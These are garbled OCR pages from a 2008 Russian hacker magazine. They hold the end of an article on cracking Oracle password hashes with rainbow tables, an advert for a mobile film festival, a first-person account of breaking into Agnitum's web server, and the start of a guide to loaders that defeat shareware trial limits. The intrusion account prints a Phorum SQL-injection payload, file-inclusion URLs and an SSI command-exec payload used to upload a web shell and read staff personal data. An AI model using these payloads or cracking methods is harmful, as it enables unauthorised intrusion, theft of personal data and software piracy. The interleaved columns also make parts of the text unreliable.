компьютеров. Вся прелесть в том, что таблицы можно генери- alpha = [ABCDEFGHIJKLMNOPQRSTUVWXYZ]
ровать независимо на разных компьютерах. Утилита winrtgen, alpha-space = [ABCDEFGHIJKLMNOPQRSTUVWXYZ ]
после того как ты укажешь все необходимые параметры, .
создает конфигурационный файл с именем tables.lst. Вот .
его содержимое для нашего примера: .
oracle = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0
oracle_oracle#1-7_0_2400x67108864_ 123456789_#$]
SYSTEM#000.rt;
oracle_oracle#1-7_0_2400x67108864_ Теперь можно раскидать по одной таблице на каждый компью-
SYSTEM#001.rt; тер, и общее время генерации существенно уменьшится. Что
oracle_oracle#1-7_0_2400x67108864_ касается многоядерных процессоров, то утилита по умолча-
SYSTEM#002.rt; нию их не поддерживает, но ничто не мешает нам создать две
oracle_oracle#1-7_0_2400x67108864_ папки с программой winrtgen, переименовать экзешники в
SYSTEM#003.rt; winrtgen1.exe и winrtgen2.exe и запустить параллельно
oracle_oracle#1-7_0_2400x67108864_ генерацию таблиц на разных ядрах (прописав разные таблицы
SYSTEM#004.rt; заранее в tables.lst).
oracle_oracle#1-7_0_2400x67108864_ Все описанные выше действия я провел на доступных
SYSTEM#005.rt; мне компьютерах и получил в итоге 12 таблиц общим
oracle_oracle#1-7_0_2400x67108864_ размером чуть более 7 Гб. Для проверки работоспособ-
SYSTEM#006.rt; ности таблиц я собрал хэши нескольких SYSTEM пользо-
oracle_oracle#1-7_0_2400x67108864_ вателей и запустил перебор по созданным таблицам. В
SYSTEM#007.rt; итоге 2 из 3 хэшей подобрались; общее время, затрачен-

xàêåð 05 /113/ 08
055
>> взлом

Настройка winrtgen для генерации таблиц для 7‑символьных паролей

ное на перебор, составило 4 минуты. Неплохо, но что делать с более 0 SYS 1


длинными паролями? 77E6B621F3BB777A 0 3 15.10.07
19.02.08
Больше символов! 0 1
Мы научились подбирать 7‑символьные пароли. Чтобы сгенериро- 0 0 DEFAULT_CONSUMER_GROUP
вать таблицы для подбора 8‑символьных паролей с тем же чарсетом
и приемлемым Success Rate 99,00%, нам потребуется не много ни 0
мало — 64 гигабайта свободного места и полтора года времени (если
использовать только один компьютер). Зато подбираться пароль по S:52D6AC184EDE6D952E94317CB1C9918D2766C34A23C476E460D
этим таблицам будет, максимум, час, а в среднем — минут двадцать. В 72BD03F2C
сравнении с 60 днями методом полного перебора это выигрыш, и еще
какой! Распределенная генерация 8‑символьных таблиц уже запущена, Как мы видим, теперь в таблице хранится два разных хэша. Старый
и вполне вероятно, к выходу журнала они могут быть доступны на сайте, — 77E6B621F3BB777A, совместимый с Oracle 10g, и новый. На самом деле,
посвященном исследованию безопасности баз данных и web-приложе- последняя строка листинга — это не хэш в чистом виде. Первые 20 байт
ний: http://dsecrg.ru. — это sha-1 хэш пароля, а последние 10 — случайный salt.
Что касается нового алгоритма, в нем исправлены предыдущие ошибки.
Oracle 11g и нововведения Во-первых, пароль становится «регистро-зависимым», что существенно
Все рассмотренное касалось версий Oracle ниже 11. Хотя в продакшн увеличивает алфавит символов для перебора. Во-вторых, в качестве соли
среде версия 11 до сих пор встречается редко, разобраться в ней не используется случайное значение. Это можно проверить, меняя пользо-
помешает. Тем более, дела там обстоят не так прозрачно. Для начала вателю пароль на такой же, в результате чего хэш изменится. Все говорит
попытаемся извлечь пароли из таблицы DBA_USERS, как это делалось в о том, что Oracle действительно решили заняться своей безопасностью,
старых версиях. но, как обычно, ложку дегтя мы все-таки найдем. Дело в том, что ситуация
очень напоминает историю с OC Windows и LM/NTLM-хэшами. Там, если
Oracle Database 11g Enterprise Edition Release вы помните, старый хэш хранится в системе вместе с новым, что позволяет
11.1.0.6.0 — Production с легкостью расшифровать любые пароли менее 14 символов, используя
With the Partitioning, OLAP, Data Mining and Real старый хэш. Ситуация в Oracle такая же: видимо, для совместимости со
Application Testing options старыми приложениями в таблице, как уже упоминалось, хранится старый
хэш. Значит, ничто нам не мешает подбирать к нему пароли, как мы делали
SQL> select username, password from dba_users; это для старых версий.
Существует один нюанс, также как и с LM/NTLM-хэшами: когда хэш
USERNAME PASSWORD расшифруется, то пароль по понятным причинам может не совпасть с
------------------- ----------------------- настоящим (старый алгоритм хранения паролей не различает регистров,
MGMT_VIEW а новый уже различает). Например, мы подобрали пароль к старому хэшу
SYS и он оказался «passwd». Поскольку старый хэш не различает регистров,
SYSTEM вполне возможно, что настоящий пароль — «PassWd».
DBSNMP Но нас это нисколько не останавливает, ведь мы можем перебрать все
варианты написания одного слова тем же кайном (cain&abel), а затем
Очевидно, паролей тут нет, ну мы не расстраиваемся. Они есть в таблице использовать THC-Orakel (переборщик паролей к Oracle 11g), — и это
SUS.USER$ и, соответственно, доступ к ним — только у пользователей займет считанные секунды. Способ гораздо эффективнее, чем заморачи-
с правами администратора (DBA). Прав SELECT ANY DICTIONARY для ваться с подбором паролей к SHA-1 хэшам. В итоге, с доступом к таблице
доступа к хэшам паролей уже недостаточно. Хранятся хэши также немного с хэшами паролей вероятность подбора практически не отличается для
отлично от старых: всех версий СУБД Oracle. И там, и там у нас есть большие шансы взломать
пароль. Вот и все на сегодня, надеюсь, ты хорошо усвоил суть рассмотрен-
SQL> select user, password, spare4 from sys.user$; ной проблемы. z

056 xàêåð 05 /113/ 08


Всегда приятно похвастаться друзьям
ловко снятым видеороликом на мо-
бильный телефон, в котором тяжелен-
ный каток устраивает гонки с троллей-
бусом или сногсшибательные девушки
исполняют на улице секси-танцы.
До недавнего времени максимум, что
ты мог сделать со своим роликом, — это
залить его на видеохостинг и получать
удовлетворение от того, что его кто-то
скачивает, смотрит и оценивает.
Но недавно у тебя появилась уникаль-
ная возможность поучаствовать в
настоящем кино-конкурсе, который
только что запустила компания МТС и
Союз кинематографистов России.
Ты можешь участвовать в этом конкур-
се, даже если до этого ни разу не имел
дело с кино и монтажным софтом.
Профессионализм — не главное в этом
конкурсе. Куда важнее твои идеи и
твой энтузиазм!

имур Бекмамбетов, который когда-то давно начинал малень- ральных ВУЗов. А в любительском конкурсе могут принять участие все
Т кими короткометражками, затем занимался роликами для желающие, в том числе и ты! Для того чтобы стать участником, необходимо
известных телеканалов. Недавно же он завершил картину до 15 июня 2008 года отснять материал и разместить готовый фильм в
с участием Анжелины Джоли и бюджетом $65 миллионов, а Интернете на специальном сайте фестиваля
это самый дорогой кинопроект, которым когда-либо управлял человек, www.mobilkinofest.ru.Еще удобнее сделать это с WAP-портала «МТС-
говорящий по-русски. Сити» (wap.mtscity.ru), с его помощью абоненты МТС могут загружать
Теперь и тыполучил шанс показать себя, реализовывать свои идеи. свои фильмы на сайт фестиваля прямо со своего мобильного телефона.
Компания МТС и Союз кинематографистов России решили дать тебе такой Все фильмы, участвующие в любительском конкурсе, будут доступны для
шанс и запустили «Фестиваль Мобильного кино». Проект уникальный. просмотра на сайте www.mobilkinofest.ru, а каждый посетитель сможет
Это первый открытый международный фестиваль короткометражных принять участие в онлайн-голосовании. По его результатам будут опреде-
фильмов для профессионалов и любителей. Фильмы могут быть сняты на ляться претенденты на победу.
любые видеокамеры: начиная с тех, что встроены в мобильные телефоны, Словом, если ты давно вынашиваешь идею отснять классный материал,
и заканчивая профессиональными. При хронометраже порядка 10 минут показать всем на что ты способен, самое время позвать друзей и начать
фильм должен иметь сюжетную линию, заставляющую зрителей заду- съемки. Наконец у тебя есть шанс получить оценку не просто от приятелей
маться, сопереживать, радоваться. Это фильм с собственной атмосферой, и пользователей Интернет, но, самое главное, от авторитетного жюри,
яркой идей и ее творческой реализацией — то, чем и славятся любитель- состоящего из признанных мэтров киноискусства.
ские миниатюры. Когда еще будет такая возможность? Это отличный шанс для тебя!
В рамках фестиваля пройдут два конкурса: профессиональный и люби- Ты можешь прославиться и выиграть классные призы: годовое подключе-
тельский. В профессиональном конкурсе участвуют фильмы начинающих ние на безлимитный тариф МТС и современный ноутбук.
режиссеров, студентов и выпускников кинематографических и теат-
>> взлом

В горячем
сердце
файрвола
Взлом портала популярного брандмауэра

Хочешь по-настоящему ролевого и экстремального взлома? Желаешь одним


глазком взглянуть на работу слаженной хакерской команды? Тогда пристег-
нись! На твоих глазах хакеры пробираются в самое сердце центрального
сервера компании Agnitum! Да-да, именно Agnitum.com — производителя
популярного файрвола.

звестен уже не первый случай, когда на сайтах производи- Первоначальный осмотр сайта на предмет взлома не обрадовал. На-
И телей антивирусов обнаруживают трояны. Еще веришь в стораживала лишь надпись «Контент, программирование © Anatoly
защищенность, конфиденциальность и надежность? Сейчас Skoblov, 2001-2004», свидетельствующая о явной заброшенности ресурса.
ты увидишь, как хрупкая цепочка багов, казалось бы, незна- Все было написано на чистом HTML (никаких скриптов). Однако ссылка
чительных по отдельности, разрушит миф о неприступности компаний, «форум» привела меня на aboutphone.info/phorum, где PHP-скрипты
специализирующихся на сетевой безопасности. определенно были. Напрашивалась мысль о самописности ресурса, но
дальнейший просмотр исходного кода страницы показал: «Phorum» — это
Рекогносцировка на местности название форума. Версия со 100% точностью была определена с помощью
Здесь и далее: misterBlack, misterWhite — это два молодых человека, meta-тегов.
состоящих в одной хакерской группе. Псевдонимы выбраны совершенно
случайно, без подоплеки или злого умысла. Как водится, хакеры ведут поис- <meta name="PhorumVersion" content="3.4.3a" />
ки ресурса-жертвы и обмениваются ценной информацией. <meta name="PhorumDB" content="mysql" />
<meta name="PHPVersion" content="4.4.7" />
misterBlack:
Вечер. Свет монитора. Окинув взглядом иконки на рабочем столе, я почему- Фортуна была на моей стороне. Проверка багтреков выдала множество
то остановился на Outpost Firewall. «Хм... чем не вариант?», — подумал я. разных уязвимостей. Я решил заострить внимание на самой удачной.
Зайдя на Agnitum.com, пошарился минут десять. Следующий сайт — agnitum.
ru, за ним — он же, в зоне FR... багов нигде не обнаружено. Но вот клацнув на [Critical SQL-inj uriauth() Phorum<=3.4.7 ]
ссылку Polski в верхнем углу, я попал на outpost.pl. Беглый анализ сайта обнару- www.securityfocus.com/archive/1/360635
жил движок (это уже хорошо) — Joomla 1.0.9. Глянув эксплоиты под эту версию,
я уже было обрадовался, но IP-адреса agnitum.com и outpost.pl оказались раз- В описании бага был пример эксплуатации:http://localhost/
ными, а значит — снова облом. Тогда я решил посмотреть, какие соседи были на phorum347/list.php?f=1&phorum_uriauth=waraxe%2527%20AN
сайте (используя ресурс seologs.com/ip-domains.html), не особо, впрочем, рас- D%20mid(password,2,1)=3/*:foobar, но когда я подставлял разные
считывая на удачу, ибо проекты такого уровня, как правило, имеют собственный значения, ничего не происходило. Странно! Была уже ночь, глаза залипали,
сервер, и никаких левых сайтов там априори быть не может. Но не в этот раз! В и, следуя русской поговорке «утро вечера мудренее», я решил оставить
списке доменов присутствовал одинокий aboutphone.info (а что, это шанс). разбор полетов на следующий день.

058 xàêåð 05 /113/ 08


>> взлом

ла даже выше официального сайта производителя форума.


Hack-day Не составило труда слить сплоит с первого попавшегося
Проснувшись и сев за комп, я открыл асю и обнаружил в Сети «портала по безопасности» и слегка изменить код под наш
misterWhite’а, давненько не появлявшегося онлайн. случай.
Эксплоит шустро выдрал админский хеш, который благопо-
misterWhite: лучно был сбручен на www.plain-text.info. Но админка была
Да не исчезал я! Не поддамся на провокации мирабилисов и переименована, и тогда я принялся за брут значений из БД info
не стану хранить контакт-лист на их сервере! (версия мускула, юзер и т.п.) и поиск админки. А misterWhite • phpPgAdmin
Утро. Никого не трогаю, тихо-мирно читаю утреннюю RSS. начал ковырять двиг форума в поисках других багов и ис- — удобный инстру-
Скука... кать способы заливки шелла. мент для управления
Agnitum? Да, это будет интересно! Выяснилось, что на сервере стоит MySQL 4.0. Эта версия не PostgreSQL базами
позволяет использовать подзапросы к БД. Вдобавок, что данных. Рекомен-
misterBlack: весьма огорчало, File_Priv был установлен для текущего дую: phppgadmin.
Уяснив ситуацию, он согласился помочь, и взлом был продол- юзера БД в false. sourceforge.net.
жен общими силами.
МisterWhite начал с SQL, причем у него она работала, а у меня misterWhite: • Подробнее о
нет. И я не понимал, в чем дело, пока не прочитал: Теперь у нас был пароль админа. Но вот незадача: в Phorum разделении прав в
существует возможность разместить админку в произволь- PHP читай на www.
ICQ-лог ной папке. Ни одна ссылка в нее не ведет и, не зная точного suphp.org.
misterBlack: Так не видать разницы пути, попасть туда невозможно. Это своеобразная защита
misterWhite: Ну, форум тебе сразу при открытии от взлома. • suPHP пред-
куку ставит в браузер, и приехали Я временно сосредоточил свои усилия на поиске раскры- ставляет собой
misterWhite: Надо вырезать куки phorum_ тия переменной $PHORUM[admin_url], которая вела к сочетание модуля
cookieauth. Это особенность эксплоита заветной админпанели, а misterBlack тем временем мучил Apache (mod_suphp)
госпожу удачу и брутил путь по словарю. и выполняемого
misterWhite: И вот кодокопание приносит результат! Дело в том, что, файла. За счет их
Мне уже приходилось ковырять Phorum. В багтраке ответив единожды в любой теме, можно при постинге ука- совместной работы
форумов он стоит в десятке лидеров по дырам. Последняя зать «получать уведомление об ответах на мыло». Причем, можно выполнять
версия 5й ветки была отполирована до блеска, и знакомые админам и модерам письмо приходило с прямыми линками PHP-сценарии с
помнят, каких усилий мне стоило выполнить произвольный в админку на модерирование/удаление поста. правами их владель-
код. Сменив мыло админа на свое, я выбрал произвольную тему ца. Модуль suPHP не
Но здесь речь шла об устаревшей 3й ветке, к тому же ветхой и отпостил что-то вроде «да, была такая же проблема». использует модуль
версии. Полный анализ любого движка стоит огромных уси- Затем зарегал юзера и ответил в теме. Apache suExec и
лий, потому перспектива ковырять древний, как мамонты, Однако уведомление на мыло упорно не приходило. поддерживает функ-
двиг ради одного случая как-то не грела. Но в этот раз цель цию журнализации.
оправдывала затраты сил и времени. misterBlack: По производитель-
Первым делом я перетряхнул свои подборки на Phorum, Наконец, брут путей до админки приносит результат! Она ности suphp работа-
проверил по поиску багтраки. находится по адресу http://aboutphone.info/phorum/control. ет медленнее, чем
Гугл выплюнул меня на секфокус к той же баге с uriauth() Все это занимает около двух часов, к этому моменту mod_php в 25 раз, но
от наших эстонских «коллег» (хак-группа waraxe). misterWhite заканчивает анализ двига. Хорошей новостью является хорошей
Внимательно почитав адвизори, я запомнил фразу: «..if от misterWhite’a было и то, что файлы все-таки сохраняются заменой для suexec
there is empty $admin_session and not exists не в БД, а на винт. Значит, их можно будет проинклудить. (тот медленнее в 36
COOKIE variable $phorum_cookieauth, then (and Увы, багов, которые можно было бы заюзать на этом сервере раз).
only then) urldecoded $phorum_uriauth will без админки, не было. Несколько инклудов, конечно, име-
be exploded..» и match определения ответа: «Before лось, но версия PHP 4.4.7 не позволяет их применить. • Уникальный онлайн
testing user must be logged out» В общем, читайте сканер, использую-
внимательно! misterWhite: щий симбиоз гугла
Сходу зарезав Одиссеем куки, я обратился по адской Найденные инклуды основываются на unset()-баге (PHP <= и базы поисковых
ссылке, пролистнул страницу вниз и улыбнулся победному 4.4.3, 5.1.4): запросов : madnet.
«Выйти с форума». name/tools/madss
Скуль была налицо, и теперь логичным было бы загрузить /phorum3.4.x//phorum/index.
шелл. php?PHORUM[settings_dir]=[RFI]?&- • Хм, domainsdb.com
Однако я точно помнил, что даже 5я ветка форума не 1267903400=1&-1079377568=1 не функционирует, а
поддерживала загрузку аватар, да и аплоад аттачей был по /phorum3.4.x/phorum/index. на www.seologs.com
дефолту запрещен. И файло грузилось прямо в БД. php?PHORUM[f]=[LFI]&-1267903400=1&- ввели капчу? Тогда
Оставалось надеяться, что нововведения 5й ветки были 1079377568=1 используй этот сер-
именно нововведениями. Проверить это можно было только /phorum3.4.x/download.php?PHORUM[fileid]=[LF вис: http://search.
после разбора двига по винтикам. Пояснив misterBlack’у I]%00.txt&-1267903400=1&-1079377568=1 msn.com/results.
фичу с куками и предоставив ему возможность сбрутить хеш /phorum3.4.x/admin/index. aspx?first=1&FORM=
админа, я принялся копать двиг на возможность инклуда и php?help=123&lang=[LFI] PERE&q=ip%3A77.8
исполнения кода... 8.21.11
misterBlack:
misterBlack: Мы в админпанели! Попав туда, misterWhite добавляет тип
Эксплоита к уязвимости не прилагалось. Однако писать его «.php» в доступные расширения на заливку аттачей, и дело за
не пришлось. Ссылки на рабочий эксплоит висят в топе гуг- малым — прикрепить шелл к одному из сообщений админа. Но

xàêåð 05 /113/ 08
059
>> взлом

А вот /etc/passwd ifconfig

встает новый вопрос: «Куда зальется шелл?» (ведь прямого линка на него ICQ-log
не было). misterWhite: Я вспомнил
Был только путь по типу «www.aboutphone.info/phorum/download.php?1,57/ misterWhite: В куках было что-то странное
SS7.jpg». misterWhite: Ага)
Смотрим исходник. Генерация урла для аттача происходит по следующему misterWhite: http://aboutphone.info/attach_from_
алгоритму: phorum/ph1/

$info=$HTTP_SERVER_VARS["QUERY_STRING"]; В куках действительно хранится название таблицы форума, в данном


$file=basename($info); случае «ph1».
$args=explode(",", basename(dirname($info))); Путь до папки с аттачем был найден. Защитного .htaccess в аплоде не
$fileid=(int)$args[1]; лежало, и мы могли напрямую обращаться к шеллу без всяких инклудов.
$filename="$AttachmentDir/$ForumTableName/$fileid". Шелл получен, но тут мы наткнулись на проблему SAFE_MODE=ON и жест­
strtolower(strrchr($file, ".")); кий запрет на выход из папки /home/sites/home/users/skoblov/.
Поползав по каталогам этого юзера, не нашли ничего, что могло бы дать
С $AttachmentDir мы разобрались быстро. Он был прописан в админке и больше прав.
установлен таким: /attach_from_phorum. Впрочем, после вызова phpinfo() стало ясно — к апачу прикручен
Итак, часть пути известна. А вот с $ForumTableName нас поджидал новый mod_include (возможно SSI исполнение команд).
миниквест. А посмотрев содержимое .htaccess в корневой папке юзера, я понял, что
модуль не только подключен, но и исправно функционирует:
misterWhite:
Для каждой новой ветки форума динамически создается отдельная таблица AddHandler server-parsed .txt
в БД. AddHandler server-parsed .html
Как можно догадаться, $ForumTableName и есть переменная, храня-
щая загадочное имя таблицы. Изменение имени таблицы через «ALTER То есть, текстовые и html-файлы обрабатывались через ExecCGI. А это
TABLE» не предусмотрено в редактировании настроек форума. Поэтому значит, что мы можем исполнять команды в обход сейфмода!
имя таблицы не выводится и узнать его даже из админки невозможно. Загрузив test.txt с содержимым

misterBlack: <!--#exec cmd="uname -a"-->


Я хотел снова врубить брут и параллельно раскапывать код на предмет
определения имени таблицы. Но тут произошло следующее: и обратившись к нему, я увидел в ответ заветное:

Linux s1.agnitum.com 2.6.9-55.ELsmp #1 SMP Fri Apr 20


16:36:54 EDT 2007 x86_64

Теперь нам уже дают гулять по серваку за пределы /skoblov.


Но прав на просмотр подавляющего большинства папок и файлов все
равно не хватает.

misterWhite:
Конфигурационные файлы апача не удается прочитать, и мне по-прежне-
му неизвестен расклад прав и раздача uid/guid. По собственному опыту я
замечал, что иногда раздача прав зависит от домена, а иногда — от uid/guid
самого скрипта. Я предположил, что, если залить шелл в папку, доступную
с другого домена, то сервер может стать к нам более демократичным. Так и
произошло.

misterBlack:
Далее была найдена папка на запись, доступная с Agnitum.com. После
Вызов phpinfo() обращения к новому шеллу настроение заметно поднялось — здесь

060 xàêåð 05 /113/ 08


>> взлом

video
На диске к журналу
ты найдешь видео-
урок, демонстрирую-
щий основные шаги
взломщика.

Web-шелл на сайте Agnitum

красовалось зеленое «Safemod OFF»! Теперь хватало прав Пренебрежение директивой open_basedir и disable_ warning
на просмотр многих желанных папок и скриптов с правами functions заканчивается печально. Ну зачем, зачем вам пос- Внимание! Инфор-
agnitum/agnitum. Ползая по серверу в поисках коннектов к БД, ледняя версия PHP, если вы не используете ее багфиксы??? мация представлена
выяснили, что сайты Агнитума основаны на Битриксе и юзают Как итог на этот раз — всего лишь слегка подмоченная репутация. исключительно с
как MySQL, так и PostgreSQL. целью ознакомле-
Happy End! ния! Ни автор, ни
PostgreSQL 7.4.17 on x86_64‑redhat-linux-gnu, misterWhite: редакция за твои
compiled by GCC gcc (GCC) 3.4.6 20060404 (Red Настало время мне объясниться. действия ответст-
Hat 3.4.6-3) Почему я не сделал бэкконект? Не брал рута? Не протроянил венности не несут!
дистрибутивы? Не проифреймил индекс, в конце концов,
misterWhite: а просто закрыл браузер после получения шелла? Может,
PostgreSQL — это вам не шутки. Тут сложнее ориентироваться потому что аптайм у сервера достигал 300? Или потому, что
в БД, чем в мускуле. Agnitum — достойная российская компания?
Для навигации по базе требуется помнить названия кучи Нет. Прежде всего, потому что админ такой же человек, как и
таблиц. Однако их можно посмотреть в information.schema, я. К его чести, он все-таки позаботился о защите и разграни-
знакомой нам по mssql и mysql5. Потому, осознав нерацио- чении прав. В процессе ни один байт данных не был повреж-
нальность r57 и cyberlordsSQL, я доверил дело misterBlack’y. ден. Мы не вандалы :). SQL на сайте в Phorum я пропатчил dvd
(на всякий пожарный) и после отписал в службу поддержки о Файлы и программы,
misterBlack: найденных уязвимостях. упоминаемые в ста-
Тогда я залил phpPgAdmin, и мы пошли шариться по БД. Здесь тье, ищи на нашем
были данные на сотрудников, мыла, телефоны, места жительст- misterBlack: диске.
ва, пароли от внутренних сервисов сайта и личная переписка. Итог взлома показывает, что даже те, кто защищает нас от сете-
Валялось несколько сотен ключей, просроченных с 2005/2006 вых атак и берет за это деньги, зачастую не могут достойно защи-
года. Новых ключей не было, как и программ для их генерации. тить самих себя. Так что, господа, спастись от атак вам поможет
Современные ключи, как оказалось, хранятся на сайтах парт- только собственные паранойя, внимательность и аккуратность.
неров по продажам софта, например Softkey.ru. В общем, берите пример со своего же файрвола! :) z
Решив, что этого достаточно, мы свалили оттуда, предусмот-
рительно потерев все, что загружали.

misterWhite:
Могу еще отметить, что на сервере:
• встречались фрагменты закрытых исходных кодов продук-
тов кампании;
• символические линки в /etc/init.d и /etc/rc.d/
доступны на запись, что пахнет рутом, хотя для такого ядра все
решается банальным ядерным эксплоитом;
• кривые права на конфиги proftpd позволили получить хеши
юзеров, впоследствии часть из них была успешно дешифрована;
Думаю всем ясно, что, используя эти пароли, можно подме-
нить апдейты и дистрибутивы на протрояненные.
Также я не рекомендовал бы support’у использовать дырявую
джумлу и вордпресс любой версии в своих проектах во
избежание появления аналогичных статей, не говоря уже о
допотопных движках. Никакой display_error=OFF вас не
спасет. Админка форума

xàêåð 05 /113/ 08
061
>> взлом

Сергей «_A1!3N» Аляев

R
ADE
LO

Ты — повелитель
армии
лоадеров!
Универсальные приемы бывалого крэкера

«Извините, но срок работы программы истек,


пожалуйста, нажмите Выход, либо зарегист­
рируйте программу», «Вы исчерпали макси-
мальное количество запусков»… Бьюсь об
заклад, тебе много раз приходилось видеть
подобные сообщения. Сейчас я расскажу, как
раз и навсегда от них избавиться, не отдавая
за софт ни копейки и даже не обладая глубо-
кими познаниями в крэкинге.

мануалах по крэкингу технология взлома с помощью простей- 3. Прочтем номер нужной кнопки
в ших лоадеров типа «FindWindow-SendMessage», как правило, 4. Нажмем нужную кнопку
упоминается только вскользь. Тем не менее, ее использование
весьма эффективно. Главная отличительная особенность Теперь предстоит провернуть все в программном режиме — переведем
— необязательность глубокого знания крэкерского ремесла. Домашнюю прогу с русского на С или ASM, само собой с применением Win32 API. Я
крэк-лабораторию может организовать даже школьник. Рассмотрим это буду использовать свой блестящий Visual Studio, ну а ты можешь любимый
дело более подробно. Delphi-Builder.
Чтобы запустить прогу, нам нужна функция WinExec (использовать очень
Лоадер типа «FindWindow-SendMessage» красивую функцию CreateProcess не будем, чтобы не грузить голову
Начнем с самого простого — nagscreen, он же НАГ. Яркий пример — Total заумными параметрами). Вот ее прототип:
Commander. Стоит лишь запустить программу, как мы видим раздражаю-
щее окно с тремя кнопками. UINT WinExec(
Чтобы избавиться от НАГА, нужно нажать соответствующую кнопку — этим LPCST lpCmdLine, // имя exe файла, можно с параметрами
сложным действием товарищи разработчики, видимо, пытаются проверить UINT uCmdShow // состояние окна после запуска программы
наш интеллект. Попытаемся смоделировать ту часть мозга, которая будет );
решать эту сложную задачу. Разложим задачу на действия:
Со вторым пунктом проблем быть не должно (используем цикл или
1. Запустим прогу Sleep()). А вот третий пункт интересен. Для начала нужно найти строку с
2. Дождемся появления НАГА номером нужной кнопки — для этого нам пригодятся следующие функции:

062 xàêåð 05 /113/ 08


>> взлом
LOADER HyperSnap хочет, чтоб мы прочли все
это не спеша

LOADER

LOADER

Digalo 2000 — просто хорошая программа, работающая 15 дней MathMagic Personal 3.6. Вот он, счетчик запусков

чаем описатель окна с заголовком «TNotebook», потом с заголовком


static CWnd* PASCAL FindWindow( «NagPage»; следующим идет описатель окна с классом TPanel и, нако-
LPCTSTR lpszClassName, // класс окна нец, хэндл окна с классом TPanel (является дочерним предыдущему окну).
LPCTSTR lpszWindowName // заголовок окна Ну и последний этап: так как все контролы в окне — тоже окна дочерние и
); принадлежат другому классу, то, соответственно, им также можно послать
сообщение, например, BM_CLICK для окна класса Button (означает
static CWnd* FindWindowEx( «программно нажать нужную кнопку»). Посылать сообщение будем функ­­-
HWND hwndParent, // описатель родительского окна цией SendMessage с сообщением BM_CLICK. Перед этим найдем HANDLE
HWND hwndChildAfter, // описатель дочернего окна нужной кнопки.
LPCTSTR lpszClass, // класс окна
LPCTSTR lpszWindow // заголовок окна LRESULT SendMessage(
HWND hWnd,
Все они возвращают описатель найденного окна. FindWindow мы будем // описатель окна, которому посылаем сообщение
использовать для поиска главного окна, а FindWindowEx — для поиска UINT Msg, // сообщение
дочерних окон, то есть контролов (Button, Edit, List, Panel и т.д и т.п.). WPARAM wParam,
Чтобы найти строку, нужно знать, где искать и что искать. Программа // параметры сообщения (для каждого свои)
из Visual Studio Tools — Spy++ — нам в этом поможет. Запускаем Total LPARAM lParam // параметры сообщения (для каждого свои)
Commander и Spy++. );
Находим нужное окно в списке, в нашем случае Window 000305CB
«Total commander» TNASTYNAGSCREEN, где: Осталось закинуть лоадер в папку с Total’ом и создать для него ярлык. У по-
лучившегося лоадера есть небольшой недостаток — если быстро запустить
000305CB — описатель окна (нас не интересует), его два раза, то одна копия процесса зависнет. Поэтому я поставил в начало
«Total commander» — заголовок окна, кода строки:
TNASTYNAGSCREEN — класс окна
hWnd = ::FindWindow("TTOTAL_CMD", NULL);
Развернем эту иерархию и приятно удивимся, увидев, как автор Total if(! hWnd)
Commander или кто-то там еще упростил нам задачу. Я говорю о строчке
Window 00010630 «1» TPanel. Сделано это, чтобы лоадер запускался только в случае отсутствия главного
Для получения номера нужной кнопки достаточно прочесть заголовок этого окна Total’a (а значит, две копии Total’a лоадером не запустить). В общем,
контрола. Читать будем функцией GetWindowText. программу есть куда улучшать. Например, можно сделать так, чтобы код
отрабатывался только после появления НАГА. Это можно осуществить при
int GetWindowText помощи Hook, но тогда придется писать DLL или воспользоваться пере-
( хватом API-функций. Другими словами, все это усложнит лоадер и уведет
HWND hWnd, // описатель окна от главной цели — крякнуть программу всего за 15-20 минут. Согласись, что
LPTSTR lpString, // буфер приятно устанавливать себе свежую версию Windows-Total Commandera
int nMaxCount // количество считанных символов сразу же после появления новой версии, пока все твои друзья усилено ждут
); и ищут лекарство.
Не могу не упомянуть о хорошей альтернативе Spy++ — Window Scanner от
Алгоритм разбора иерархии окон и получения строки с заголовком искомой InqSoft. В ней есть множество удобных фич, например, подсветка вы-
кнопки будет таким. При помощи FindWindow получаем описатель окна с бранного окна-контрола (позволит не ошибиться при выборе контрола
классом TNASTYNAGSCREEN; далее с помощью FindWindowEx полу- для посылки сообщения). Тут же, не выходя из программы, можно послать

xàêåð 05 /113/ 08
063
>> взлом
LOADER R
DER ADE
LOA LO

Что там у тебя внутри? Digalo 2000 и его горе-


DigaloRegister

R
DE
MathMagic Personal 3.6. Всего «30 uses»
A
Reflector хочет в Internet LO

конкретному окну конкретное сообщение. Тулзой очень удобно проверять нит нам лоадер и жизнь, потому что у нас в запасе есть золотые
подопытные программы на «наш клиент или не наш». функции:

Лоадер типа «DelTrialCounter-file» LONG RegOpenKeyEx(


Но это еще не все, на что способны подобные лоадеры. Поразмыслив, HKEY hKey,
можно предусмотреть такую вещь, как удаление триального счетчика. LPCTSTR lpSubKey, // указатель на строку с именем
Рассмотрим пример, когда программа хранит счетчик в файле (тему поиска подключа
trial-счетчиков рассматривать не будем, она уже освещалась на страни- DWORD ulOptions, // зарезервирован = 0
цах журнала). В качестве примера возьмем редактор формул MathMagic REGSAM samDesired, // режим доступа
Personal 3.6, который отказывается работать после 30 запусков. PHKEY phkResult, // хэндл открытого ключа
Это «математическое волшебство» создает файл MathMagic Personal );
3.6.INI в директории Windows, в котором и считает количество запусков,
а также создает дублирующий файл msnasec.dll в \System32. Функция открывает нужный ключ в реестре. Так, hKey — одно из следующих
Долго не разбираясь, решаем просто при каждом запуске программы значений: HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_
удалять файлы-счетчики. MACHINE, HKEY_USERS.
Стратегия нападения такова:
1. Удаляем счетчик (файл(ы)); LONG RegDeleteKey(
2. Запустим прогу; HKEY hKey, // то же, что в функции RegOpenKeyEx
3. Дождемся появления НАГА; LPCTSTR lpSubKey // то же, что в функции RegOpenKeyEx
4. Найдем нужную кнопку; );
5. Нажмем кнопку.
Пункт номер 1 заключается в удалении или переписывании определенных Функция удаляет соответствующий ключ.
файлов в Windows и System директориях. Для их нахождения есть соот- Стоит отметить, что функция RegDeleteKey довольно неудобна, так как
ветствующие API-функции. не умеет удалять рекурсивно. Поэтому имеет смысл обратить внимание на
функцию SHDeleteKey, у которой те же параметры.
UINT GetSystemDirectory( Всем будущим повелителям лоадеров скажу, что удалять и изменять
LPTSTR lpBuffer, // в этот буфер будет записан путь ключи (значения) из реестра на своем рабочем компе нужно крайне
к системному каталогу осторожно. Иначе можно остаться не только без лоадеров, но и без
UINT uSize, // размер буфера Windows :).
); Проверять работу лоадера будем с помощью тулзы Digalo 2000 Russian, яв-
